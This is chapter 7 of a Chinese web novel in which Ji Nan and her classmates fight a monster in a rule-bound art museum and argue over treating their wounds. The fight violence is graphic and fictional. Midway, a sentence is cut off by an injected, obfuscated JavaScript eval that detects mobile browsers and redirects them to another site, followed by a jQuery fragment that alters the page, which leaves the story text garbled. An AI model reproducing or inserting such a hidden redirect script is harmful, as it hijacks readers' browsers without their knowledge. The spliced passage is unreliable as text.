7. 第 7 章(替换)

作品:《在规则世界吃怪升级

    透明的丝线被血肉染成红色,顺着丝线蔓延开。


    季南手中的水晶劈向丝线,丝线只是微微颤动,而手中的水晶已然出现豁口。


    血肉顺着丝线被送进怪物细长的口器中,怪物浑身冒出黑烟,身上大小不一的洞涌着沸腾似的泡沫逐一缩小。


    坐以待毙显然不是明智之举,季南三两步上前去,试图补刀——至少维持怪物虚弱的状态,刚触碰到黑烟便被灼伤,手臂冒出一层水疱。


    片刻时间,那东西爬起来,摄取了人类基因的怪物在口器下方长出手臂,使它更像千足虫了。


    而虫体的最顶端则蠕动着,冒出一节凸起,依次形成咽喉,脊椎,大脑,最后用漆黑的皮肤包裹住,组成一个头颅。黑色的,像是石油一样泛着暗光的眼睛,以非人之物的姿态静静俯视着众人。


    怪物的嘴终于有了口吐人言的能力,它不慎熟练地张开嘴巴:“碾碎…吞噬……”


    它说:“进化。”


    “我的老天爷……我的老天爷……”体委趴在地上,仰头盯着愈发高大的怪物,几乎不会言语,“难道这就是我们的末路了?”


    “不对,不对……”体委一只手扒着地板,艰难地扭过身子,像蠕虫似的向远离怪物的方向爬行,“逃吧,逃跑不丢人。留得青山在不怕没柴烧,我不可能折在这里,后面还有很长一段路要走……我有奇遇,我是主角,不可能……不可能……”


    季南额角不自觉冒出冷汗。


    她能拿到最坚硬的东西就是体委的碎片,但这东西只能制造小伤口,奈何不了这么大的怪物。


    如果能切断血肉的供养,再把它撕裂成小块……或许能杀掉。


    但是,呵,想的容易。就算她全力以赴,也不一定能把已经将近三人高的怪物撕开。


    季南松开手,任由水晶滚落到一旁。再抬眼,她眼睛里没有恐惧,没有慌乱,更没有孤注一掷般的勇气,冷静与理智蔓延开,与瞳色混合成深不见底的黑。


    无论如何,坐以待毙就是死路一条,不是吗?


    怪物头颅后仰,嘴巴张开,直到人类的极限,再突破人类的极限,越来越大,越来越恐怖荒谬。


    丝线像是派对礼炮,猛地从怪物的嘴巴里爆出来,有生命似的袭击离自己最近的生命体——季南。


    季南尽力闪避,躲开大多数攻击,可过于密集的丝线根本没给季南躲闪的空间,手腕,肩膀依次被细线贯穿。


    每次察觉到被细线穿透,季南都会猛地拉开,让细线穿过血肉脱出体外。


    怪物尝到季南的鲜血,不知为何,停顿了几秒。宛如心跳停止的片刻后,那怪物仰头发出一声尖利的嚎叫,雀跃欢喜。


    “好吃…吃……”


    随即攻势愈发猛烈。


    肌肉断开数次,季南却依旧拥有行动的能力。她身体上绽开的伤口以肉眼可见的速度合拢,收缩,很快恢复光洁,只有残破的衣物预示刚刚发生了什么。


    同伴几乎失去意识,唯一有点能力的体委在墙壁上敲敲打打,企图找到来时的路。


    季南像个没有痛觉的机器人,重复着闪避,受伤,挣脱的动作,慢慢靠近怪物的本体。


    黑眸几乎一眨不眨地盯着怪物崎岖的身体,观察它每一个动作,表情,细节,并企图找到破局的办法。


    庞大的怪物,渺小的人类。


    他们看似已至末路。


    但季南只相信一点——


    所谓死亡,永远在生之后。


    永远不能放弃理智,尤其是在那个看不见的节点到来之前。


    最终,季南紧盯着它畸形丑陋的头颅。


    季南离怪物只有两步的距离了,然而越是接近,所面临的攻击也就越多。


    她的身体素质比普通人高得不止一星半点,但终究不是超人。


    数不清的丝线插进她脖子,四肢,躯干,像树枝一样在血肉里生长,将季南牢牢定在原地。


    大量透明的线在空中闪烁着熠熠光辉,像蚕丝一样笼罩季南,试图将她包成一个厚茧。


    怪物含着无数丝线的嘴嗫嚅着:“好吃,好吃……我会把你……放进花瓶里。”


    细丝彻底遮蔽前,季南听到几声撕心裂肺的咳喘,重物落地,液体滴落的声音,有什么东西破空而来,割碎季南眼前的屏障,周身的丝线,并将怪物捆在原地。


    ——是另一组丝线,金黄色,闪着太阳似的光辉。


    束缚季南的大多数丝线被砍断,仅剩几根藕断丝连,在季南挣脱的空档中,她回头望去。


    警察的嘴几乎被丝线完全割开,比传说中的裂口女还要骇人。他捂着脖子跪坐在地,金色的丝线从他捂着伤口的指缝中、嘴巴中大股倾泻。


    而墙上的画框将警察现在的样子牢牢刻在其中。


    原来如此。季南在电光火石间想通一切。


    他用牙齿和颌骨磨断了线,并把断线吞掉,这样也算是吞噬怪物的一部分,警察由此摄取了怪物的基因。


    金丝像蛇一样爬到怪物的嘴里,不让他继续吐丝,丝产的过多,又出不来,怪物的脸颊越鼓越大,肉撑得几乎透明,甚至能看见不同颜色的丝在其中扭打。


    季南捞起脚边的水晶碎片,高高跃起,扎向怪物气球似的头。


    怪物的头像爆米花一样炸开。于此同时,金色的丝线从这唯一的缺口钻进怪物内部,伴着令人牙酸的黏腻声响,它的血肉被撕成碎片,宛若褪去的浪潮,渐渐被金丝吞噬殆尽了。


    通往第三个房间的走廊就此展开。


    季南抬头看了看时间,10:48。


    守则2.本馆大门24小时打开,美术馆开放时间为8:00——13:00以及16:00——20:00,若您在开馆时间外到达,请在门外等候,不要在非营业时间段停留在美术馆。


    距离13:00还有两小时十二分钟。


    季南正了正神色,若有所思地盯着慢慢站起来的警察。


    沾着黑色血液的金丝慢慢回到他的伤口里面,缝合住脖子和裂开的唇角,以及身上密密麻麻的各种裂口。


    一个正常人真的会选择毫无犹豫地吞掉一整只样貌丑陋的怪物吗?


    警察像是还没回过神,眼神发飘,他伸手摸了摸脸上缝合伤口的金线,那金线颤了颤,探出一节,亲昵地勾住他的手指。


    察觉到那一丝果冻般的触感,警察猛地抽出手,脸色刷白,喉咙蠕动着,像是下一秒就要吐出来。


    他想捂住嘴,手抬起一半又僵住,显然是不想再碰脸上的线。


    “……”


    季南上前问警察:“你还好吗?”


    “没……呕,我没事……”警察一脸菜色,“我本来想把那东西撕开算了,谁曾想,呕……真不是我想吃的。它现在应该不会在我的胃袋里吧。”


    “大概吧。”季南试着宽慰他,“毕竟你的胃袋也装不下那么多。”


    警察很快平静下来,他再次摸了摸脖子上的伤口,看向季南的眼神带上几分审视。季南不动声色,她知道警察接下来要说什么。


    “目前可以明确,只有吞掉这里的怪物才能获得一些……非凡能力,就像我,还有那个孩子。”


    警察看了看体委,体委似乎已经从崩溃的状态脱离开,正艰难地收集自己的碎片,嘴里还嘟囔着‘看来我命不该绝’之类的话。


    他说:“但是你,我没见过你吃过任何东西,那么你是如何做到的?”


    做到丝滑流畅躲避怪物的攻击,伤口快速愈合,并一蹦五米高打爆怪物的头。


    季南笑了笑,道:“无论我隐瞒了什么,我救了你们,这点毋容置疑。”


    她叹了口气,做出一副我也很为难的样子。


    “我会和你谈谈,前提是我们得活着出去。”


    才怪。


    世界已是惊弓之鸟,再有定点风吹草动便会重新燃烧。若官方知道世界上存在她这样异常的人,他们会怎么做?


    答案很简单,在活着的前提下,她的存在会被彻底抹消。


    就算要逃,季南不是超人,抵不住枪支炮火。


    为了之后和平的生活,她会在必要的时候采取必要的措施。


    即便是——让自己成为意外中唯一的幸存者。


    “说的也是。”武警点点头,正色道:“无论如何,谢谢你。”


    他扬起唇角,笑容在两颊金丝的陪衬下显得不伦不类。


    “守则上不是提到,‘您所得到的一切无法带离美术馆’,估计这些丝线也是一样,希望等出去后我的下巴不会掉下去。”


    “唔……”


    班长悠悠转醒,紧接着是纪委。


    小透明还是趴在地上一动不动。


    察觉到不对,季南走到小透明身边,将她翻到正面朝上。


    小透明脖子正中,红而深的伤口几乎盘踞三分之二个脖颈,甚至能看到有些破损的气管,正汩汩冒着血,把她胸前的衣衫都染成红色。


    她忽然艰难地咳嗽,伤口里传出来的声音像是破损的风箱,她咳得醒过来,伸手捂住脖子。


    “我……啊,啊……”她喉咙里只能产出一个破碎的音符。


    不过轻微的动作,小透明又咳嗽起来,直到季南把她翻回面朝下的姿势,才勉强止住。


    季南想了想,问走过来查看小透明情况的警察:“你能把她的伤口缝起来吗?”


    警察蹲下,试着扯开脖子上的金丝,道:“我尽力。”


    同时,班长找回了知觉,她不满地嘟囔:


    “嘶……怎么回事,我身上好疼。”


    恍然间,班长看传来疼痛的地方,身上一道道渗着血的伤口吓得她瞪大了眼睛。


    “我的胳膊,我的腿…怎么连脖子上都有,怎么回事!”


    季南没理会班长的惊呼,又把小透明翻过来,赤手合住她的气管。警察不慎熟练地操控金线向狰狞的伤口涌去。


    在空中飞舞扭曲的金丝实属诡异,小透明瞪大了眼睛,奄奄一息地挣扎几下。


    “别乱动,他可不是什么熟手,你总不想让气管和脖子长在一起。”季南说。


    而警察没说话,显然,他不能保证这一点。


    小透明侧头,在警察凝重的神情中缓缓闭上眼睛。


    “不行!”


    班长毫无征兆地扯开警察的手,金丝在她的扰乱下差点戳进小透明的气管。


    “先给我缝!”


    她揪住警察胳膊上的制服,不让他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831802|159007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    继续,用一种居高临下的态度命令警察,像是在要求自己家的下人。


    “快点,不然一会该留疤了。”


    “请你放开我。”警察额角冒出冷汗。


    警察手上的金丝在乱动,他极力控制金丝的方向已然是全力。


    季南按着小透明的手佁然不动,颇觉心累地叹了口气。


    “我还不想让团队在这里减员,时间紧迫,收起你的大小姐脾气,对谁都好。”


    纪委也在此时摸清了事情的来龙去脉,试着劝班长:“要不…咱还是让她先?她看起来快死了。”


    啪。


    纪委偏过头去,脸上伤口裂开,血糊了几乎半个脸,也粘上了班长的手。


    这是他第二次挨班长的巴掌。


    “你懂什么。”班长狰狞着脸,指着身上的伤,“该死的,这些都是看得到的地方,留下瘢痕…被我爸妈见到会怎么想?”


    “你平时不是挺混的吗?怎么关键时刻好人心泛滥。”


    纪委顶着红手印缓缓转过头,眼中已然有了泪迹。


    “我平常是混蛋,但为了钱真的背上人命和混蛋是两回事。咱们好好的,先研究怎么出去不行吗?”


    “就算父母不再重视你,你什么都没有了,我也不会离开的,我发誓,你让我发多少誓都行。”


    班长却毫不犹豫地说:“我要你有什么用?”


    她扬起脑袋,看垃圾的眼神刺痛了纪委,他张张嘴刚想说什么,班长却转过头去看警察,再也不看他一眼。


    纪委的眼睛彻底暗了下去。


    “别管她了,先给我缝,快点,一个伤口五十万。”班长对警察说完,又看向其他人,“只要能让我完整的、活着出去,一人一百万。”


    “你现在还能拿出这么多钱?”


    终于拼凑好身体的体委语气中满是狐疑。


    班长:“资源还在,钱只是时间问题,说了你也不懂。”


    一百万可能是绝大多数普通人一辈子都攒不到的钱,可季南并没有为之动摇。


    在没摸清最后的通关要求前,一切让团队减员的行为都是亏损。


    先不说那些诡异的守则,美术馆门口那恐怖的雕像始终是个威胁。


    钱固然可爱,但也要有命拿才行。


    手下的动静让季南收起发散的思维,小透明发狠地挣扎起来,季南怕戳破她的气管,微微放松了下,小透明便挣脱她,顶着狰狞的伤口猛地坐起来了。


    带着血的手猛地攥住班长的手腕,几乎爆出青筋,刘海下的眼神第一次充满狠厉。


    “怎,怎么?”班长结巴一下,很快勾起笑容。


    “我可是在用几百万买你的命,这样一来,你欠下的钱就能还上大半了。庆幸吧,像你这样的人,根本值不了这么多钱。”


    “咳咳…我要是死了…咳……做鬼也不会放过你的。”


    她几乎要把肺脏咳出来。


    “我一定会拖着你…一起下地狱!”


    来自弱者的愤怒让班长的勾起唇角。


    “你还挺有理,随便你吧。但你得知道,这个世界,有钱才是硬道理。”


    季南几乎要笑出来了。


    “要不你跟门口的雕像说说,把所有家当给它,看看它会不会放我们出去。”


    班长:“什么?”


    就在这时。


    “够了,不要乱动,躺好。”警察说。


    金丝渐渐灵活起来,向小透明的伤口涌去。


    “你……”


    班长还想说些什么,但被警察打断。


    “我说过,我干这行不是为了钱。”


    警察渐渐能完全控制金丝,但小透明的伤涉及气管,他不敢放松,在小透明忍痛的表情中缝了将近十五分钟。


    中途,十二下钟声响彻美术馆。


    等一切结束,小透明的眼泪和汗水几乎糊了半张脸。


    警察转头问班长:“你还要缝吗?”


    眼见着小透明的惨状,班长咬咬牙,伸出胳膊。


    “缝!”


    众人踏入第三个房间时,距离13:00还有一小时五十五分钟。


    途中,季南问警察。


    “你叫什么名字?”


    “郑开麒。”


    ——


    进化王国国主最小的儿子,喜食人羊,只能摄取人羊的基因,曾一度因为弱小被逐出王国。


    被逐出第四年,人羊灭种。


    小王子成为唯一的类人羊生物,自称人羊。


    后灾厄降临,王国受创,召人羊回归。


    由于食物灭绝,在十分饥饿的情况下,人羊也会选择啃食人类。


    “他们说人羊很弱?”


    体委带着水晶质感的声线几乎抖成电音,后退一步,整个人贴在墙壁上。


    “他们管这玩意叫很弱??”


    他们所在的房间大的出奇,有五层楼那么高。


    而几乎有房顶高的怪物占据空间正中,它下半身是密密麻麻的羊蹄,组成一个巨大的肉团,摊在地上,衬得属于成年男性的上半身格外渺小。


    而脖子上方,原本是头的位置,插着五个白山羊脑袋。


    五双渗人的横瞳正死死盯着他们。